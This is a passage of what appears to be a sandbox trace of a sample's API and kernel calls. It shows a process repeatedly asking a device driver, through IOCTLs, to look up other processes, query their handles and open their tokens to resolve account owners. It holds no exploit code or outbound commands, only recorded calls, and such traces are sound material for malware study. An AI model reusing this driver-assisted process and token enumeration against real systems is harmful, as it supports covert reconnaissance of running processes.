Object=0xfffff88005590548*=0xfffffa800207a800, HandleInformation=0x0) returned 0x0 [0114.270] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.270] PsReleaseProcessExitSynchronization () returned 0x2 [0114.270] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0114.270] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.270] ObfDereferenceObject (Object=0xfffffa800207a800) returned 0x1 [0114.270] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.270] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.270] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.270] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.270] PsAcquireProcessExitSynchronization () returned 0x0 [0114.270] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880055905d0) [0114.270] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.270] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.270] PsReleaseProcessExitSynchronization () returned 0x2 [0114.270] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0114.270] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.270] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.270] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.270] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.270] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa80) returned 0xc0 [0114.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.270] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020a64e0, HandleInformation=0x0) returned 0x0 [0114.270] ObOpenObjectByPointer (in: Object=0xfffffa80020a64e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.270] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x12 [0114.270] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.270] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.270] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.271] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.271] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.272] CloseHandle (hObject=0xc8) returned 1 [0114.272] CloseHandle (hObject=0xc0) returned 1 [0114.272] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.272] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.272] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.272] PsAcquireProcessExitSynchronization () returned 0x0 [0114.272] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880055905d0) [0114.272] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020a6e10, HandleInformation=0x0) returned 0x0 [0114.272] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.272] PsReleaseProcessExitSynchronization () returned 0x2 [0114.272] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0114.272] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.272] ObfDereferenceObject (Object=0xfffffa80020a6e10) returned 0x1 [0114.272] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.272] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.272] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.272] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0114.273] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.273] PsAcquireProcessExitSynchronization () returned 0x0 [0114.273] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880055905d0) [0114.273] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020b2f20, HandleInformation=0x0) returned 0x0 [0114.273] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.273] PsReleaseProcessExitSynchronization () returned 0x2 [0114.273] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0114.273] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.273] ObfDereferenceObject (Object=0xfffffa80020b2f20) returned 0x1 [0114.273] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.273] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.273] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.273] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.273] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.273] PsAcquireProcessExitSynchronization () returned 0x0 [0114.273] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880055905d0) [0114.273] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.273] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.273] PsReleaseProcessExitSynchronization () returned 0x2 [0114.273] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0114.273] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.273] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.273] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.273] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.273] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa90) returned 0xc0 [0114.273] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.273] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020d7b30, HandleInformation=0x0) returned 0x0 [0114.273] ObOpenObjectByPointer (in: Object=0xfffffa80020d7b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.273] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x12 [0114.273] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.273] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.274] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.274] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.274] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.275] CloseHandle (hObject=0xc8) returned 1 [0114.275] CloseHandle (hObject=0xc0) returned 1 [0114.275] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.275] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.275] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.275] PsAcquireProcessExitSynchronization () returned 0x0 [0114.275] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880055905d0) [0114.275] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020caa70, HandleInformation=0x0) returned 0x0 [0114.275] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.275] PsReleaseProcessExitSynchronization () returned 0x2 [0114.275] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0114.275] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.275] ObfDereferenceObject (Object=0xfffffa80020caa70) returned 0x1 [0114.275] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.275] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.276] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.276] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.276] PsAcquireProcessExitSynchronization () returned 0x0 [0114.276] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880055905d0) [0114.276] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020d0790, HandleInformation=0x0) returned 0x0 [0114.276] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.276] PsReleaseProcessExitSynchronization () returned 0x2 [0114.276] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0114.276] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.276] ObfDereferenceObject (Object=0xfffffa80020d0790) returned 0x1 [0114.276] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.276] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.276] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.276] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.276] PsAcquireProcessExitSynchronization () returned 0x0 [0114.276] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880055905d0) [0114.276] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.276] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.276] PsReleaseProcessExitSynchronization () returned 0x2 [0114.276] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0114.276] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.276] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.276] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.276] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.276] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaa0) returned 0xc0 [0114.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.276] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020f7380, HandleInformation=0x0) returned 0x0 [0114.276] ObOpenObjectByPointer (in: Object=0xfffffa80020f7380, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.276] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x12 [0114.277] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.277] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.277] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.277] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.277] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.278] CloseHandle (hObject=0xc8) returned 1 [0114.278] CloseHandle (hObject=0xc0) returned 1 [0114.278] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.278] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.278] PsAcquireProcessExitSynchronization () returned 0x0 [0114.278] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880055905d0) [0114.278] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002044750, HandleInformation=0x0) returned 0x0 [0114.278] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.278] PsReleaseProcessExitSynchronization () returned 0x2 [0114.278] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0114.278] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.278] ObfDereferenceObject (Object=0xfffffa8002044750) returned 0x1 [0114.278] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.279] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.279] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0114.279] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.279] PsAcquireProcessExitSynchronization () returned 0x0 [0114.279] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880055905d0) [0114.279] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002056c20, HandleInformation=0x0) returned 0x0 [0114.279] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.279] PsReleaseProcessExitSynchronization () returned 0x2 [0114.279] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0114.279] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.279] ObfDereferenceObject (Object=0xfffffa8002056c20) returned 0x1 [0114.279] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.279] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.279] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.279] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.279] PsAcquireProcessExitSynchronization () returned 0x0 [0114.279] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880055905d0) [0114.279] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.279] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.279] PsReleaseProcessExitSynchronization () returned 0x2 [0114.279] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0114.279] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.279] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.279] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.279] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.279] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xab0) returned 0xc0 [0114.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.279] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002115b30, HandleInformation=0x0) returned 0x0 [0114.279] ObOpenObjectByPointer (in: Object=0xfffffa8002115b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.280] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x12 [0114.280] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.280] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.280] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.280] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.280] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, 